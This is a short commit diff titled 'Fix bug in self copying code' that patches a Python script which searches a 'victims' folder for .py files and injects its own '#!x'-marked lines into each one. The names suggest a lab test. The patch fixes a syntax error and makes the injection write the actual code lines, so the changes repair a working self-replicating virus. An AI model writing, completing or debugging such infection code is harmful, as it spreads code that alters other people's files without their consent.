Fix bug in self copying code

self_copy_test.py

@@ -11,7 +11,8 @@ cmd = 'find ./victims -name "*.py" -print'              #!x
 keyword = 'plsdontinjectme'                             #!x
 
 # for each file that matches the search command
-for snippet in os.popen(cmd).readlines()l:              #!x
+for snippet in os.popen(cmd).readlines():               #!x
+  print(snippet)
   # strip newlines
   snippet = snippet[:-1]                                #!x
   try:                                                  #!x
@@ -31,8 +32,8 @@ for snippet in os.popen(cmd).readlines()l:              #!x
         if("#!x") in line:                              #!x
           # close the code file
           code.close()                                  #!x
-          # save the content
-          insert=(code)                                 #!x
+          # cast the line containing code
+          insert=(line)                                 #!x
           # insert the code into the victim file
           victim.write(insert)                          #!x
   # poor mans error handling